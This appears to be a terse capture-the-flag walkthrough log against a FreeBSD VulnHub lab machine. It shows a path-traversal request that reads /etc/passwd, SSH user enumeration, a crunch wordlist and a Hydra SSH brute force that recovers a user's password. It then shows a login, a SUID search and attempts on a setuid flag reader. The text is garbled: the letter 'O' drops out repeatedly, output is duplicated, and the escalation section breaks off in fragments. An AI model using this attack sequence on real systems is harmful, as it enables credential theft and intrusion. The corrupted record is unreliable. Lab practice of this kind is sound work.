Initial Access
view-source:https://192.168.2.119/scanner.php
S C A N N 3 R
Command: /usr/local/bin/nmap -F -sT 127.0.0.1
Starting Nmap 7.31 ( https://nmap.org ) at 2024-10-04 19:59 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000050s latency).
Not shown: 97 closed ports
PRT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
Request:
PST /scanner.php?FUZZ=../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.2.119
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://192.168.2.119/scanner.php?FUZZ=../../../../../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
rigin: https://192.168.2.119
Connection: keep-alive
host=127.0.0.1
Response:
HTTP/1.1 200 K
Date: Sat, 05 ct 2024 00:08:20 GMT
Server: Apache/2.4.23 (FreeBSD) penSSL/1.0.2j-freebsd PHP/5.6.27
X-Powered-By: PHP/5.6.27
Content-Length: 742
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Command: /usr/local/bin/nmap -F -sT 127.0.0.1
Starting Nmap 7.31 ( https://nmap.org ) at 2024-10-04 20:08 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00s latency).
Not shown: 97 closed ports
PRT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
root:*:0:0:Charlie &:/root:/bin/csh
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
vulnhub:*:1001:1001:vulnhub:/home/vulnhub:/bin/sh
craven:*:1002:1002:User &:/home/craven:/bin/sh
[*] 192.168.2.119:22 - SSH - Using malformed packet technique
[*] 192.168.2.119:22 - SSH - Checking for false positives
[*] 192.168.2.119:22 - SSH - Starting scan
[+] 192.168.2.119:22 - SSH - User 'root' found
[+] 192.168.2.119:22 - SSH - User 'news' found
[+] 192.168.2.119:22 - SSH - User 'man' found
[+] 192.168.2.119:22 - SSH - User 'bin' found
[+] 192.168.2.119:22 - SSH - User 'games' found
[+] 192.168.2.119:22 - SSH - User 'nobody' found
[+] 192.168.2.119:22 - SSH - User 'daemon' found
[+] 192.168.2.119:22 - SSH - User 'proxy' found
[+] 192.168.2.119:22 - SSH - User 'pop' found
[+] 192.168.2.119:22 - SSH - User 'operator' found
[+] 192.168.2.119:22 - SSH - User 'craven' found
┌──(root㉿CCat)-[~]
└─# crunch 10 10 -t %%%qwerty^ -o passer
Crunch will now generate the following amount of data: 363000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 33000
crunch: 100% completed generating output
┌──(root㉿CCat)-[~]
└─# vi passwd.txt
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:wner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post ffice wner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web wner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
vulnhub:*:1001:1001:vulnhub:/home/vulnhub:/bin/sh
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups wner:/nonexistent:/usr/sbin/nologin
craven:*:1002:1002:User &:/home/craven:/bin/sh
git_daemon:*:964:964:git daemon:/nonexistent:/usr/sbin/nologin
┌──(root㉿CCat)-[~]
└─# hydra -l craven -P passer ssh://192.168.2.119 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-05 00:57:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 33001 login tries (l:1/p:33001), ~516 tries per task
[DATA] attacking ssh://192.168.2.119:22/
[22][ssh] host: 192.168.2.119 login: craven password: 931qwerty?
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 25 final worker threads did not complete until end.
[ERRR] 25 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-05 00:57:38
┌──(root㉿CCat)-[~]
└─# ssh craven@192.168.2.119
The authenticity of host '192.168.2.119 (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:YMYcY01bCRz/4HnUv1FiFedFeHB81Uucm41v7ENjwtk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.119' (ED25519) to the list of known hosts.
(craven@192.168.2.119) Password for craven@fortress:
Last login: Tue Nov 8 19:52:08 2016 from 192.168.208.1
FreeBSD 11.0-RELEASE-p1 (GENERIC) #0 r306420: Thu Sep 29 01:43:23 UTC 2016
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
FreeBSD Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
You can look through a file in a nice text-based interface by typing
less filename
$ id
uid=1002(craven) gid=1002(craven) groups=1002(craven)
$ find / -type f -perm -4000 -ls 2>/dev/null
426578 560 -rwsr-x 1 root messagebus 284744 Nov 2 2016 /usr/local/libexec/dbus-daemon-launch-helper
241531 88 -r-sr-sr-x 1 root daemon 41248 Sep 28 2016 /usr/bin/lpr
241553 56 -r-sr-xr-x 1 root wheel 25488 Sep 28 2016 /usr/bin/chpass
241593 64 -r-sr-xr-x 4 root wheel 28696 Sep 28 2016 /usr/bin/atq
241618 24 -r-sr-xr-x 1 root wheel 11600 Sep 28 2016 /usr/bin/lock
241645 32 -r-sr-xr-x 1 root wheel 14208 Sep 28 2016 /usr/bin/opiepasswd
241657 72 -r-sr-sr-x 1 root daemon 34032 Sep 28 2016 /usr/bin/lpq
241706 32 -r-sr-xr-x 1 root wheel 15888 Sep 28 2016 /usr/bin/rlogin
241710 56 -r-sr-xr-x 1 root wheel 26320 Sep 28 2016 /usr/bin/login
241593 64 -r-sr-xr-x 4 root wheel 28696 Sep 28 2016 /usr/bin/batch
241593 64 -r-sr-xr-x 4 root wheel 28696 Sep 28 2016 /usr/bin/at
241791 40 -r-sr-xr-x 1 root wheel 17848 Sep 28 2016 /usr/bin/su
241801 32 -r-sr-xr-x 1 root wheel 16248 Sep 28 2016 /usr/bin/quota
241818 24 -r-sr-xr-x 1 root wheel 11680 Sep 28 2016 /usr/bin/rsh
241593 64 -r-sr-xr-x 4 root wheel 28696 Sep 28 2016 /usr/bin/atrm
241820 16 -r-sr-xr-x 1 root wheel 7256 Sep 28 2016 /usr/bin/opieinfo
241849 72 -r-sr-sr-x 1 root daemon 33072 Sep 28 2016 /usr/bin/lprm
241869 72 -r-sr-xr-x 1 root wheel 32904 Sep 28 2016 /usr/bin/crontab
241874 24 -r-sr-xr-x 1 root wheel 8472 Sep 28 2016 /usr/bin/passwd
241270 16 -r-sr-xr-- 1 root mail 7872 Sep 28 2016 /usr/libexec/dma-mbox-create
241271 104 -r-sr-xr-x 1 root wheel 49192 Sep 28 2016 /usr/libexec/ssh-keysign
241273 16 -r-sr-xr-x 1 root wheel 6200 Sep 28 2016 /usr/libexec/ulog-helper
240997 960 -r-sr-xr-- 1 root network 426688 Sep 28 2016 /usr/sbin/ppp
241077 48 -r-sr-sr-x 2 root authpf 24312 Sep 28 2016 /usr/sbin/authpf
241078 48 -r-sr-xr-x 1 root wheel 21448 Sep 28 2016 /usr/sbin/timedc
241077 48 -r-sr-sr-x 2 root authpf 24312 Sep 28 2016 /usr/sbin/authpf-noip
241193 48 -r-sr-xr-x 1 root wheel 24088 Sep 28 2016 /usr/sbin/traceroute6
241251 72 -r-sr-xr-x 1 root wheel 32808 Sep 28 2016 /usr/sbin/traceroute
426735 24 -rwsr-xr-x 1 vulnhub vulnhub 9022 Nov 8 2016 /usr/home/vulnhub/reader
1524865 40 -r-sr-xr-x 1 root wheel 20440 Sep 28 2016 /bin/rcp
1043331 32 -r-sr-xr-- 2 root operator 15904 Sep 28 2016 /sbin/poweroff
1043375 64 -r-sr-xr-x 1 root wheel 32488 Sep 28 2016 /sbin/ping
1043381 80 -r-sr-xr-x 1 root wheel 36944 Sep 28 2016 /sbin/ping6
1043331 32 -r-sr-xr-- 2 root operator 15904 Sep 28 2016 /sbin/shutdown
1043398 24 -r-sr-xr-- 1 root operator 10112 Sep 28 2016 /sbin/mksnap_ffs
Privilege Escalation
$ /usr/home/vulnhub/reader
/usr/home/File modified since last write.
uid=1002(craven) gid=1002(craven) groups=1002(craven)
$ find / -name *flag.txt 2>/dev/null
/usr/local/www/apache24/data/s1kr3t/flag.txt
/usr/home/vulnhub/flag.txt
/usr/home/craven/flag.txt
$ /usr/home/vulnhub/reader /usr/home/vulnhub/flag.txt
Checking file type...
Checking if flag file...
Nope. Can't let you have the flag.
$ /usr/home/vulnhub/reader /usr/local/www/apache24/data/s1kr3t/flag.txt
Checking file type...
Checking if flag file...
Nope. Can't let you have the flag.
/tmp/crontab.q239VpkA83: 1 lines, 1 characters.
crontab: installing new crontab
e$ exit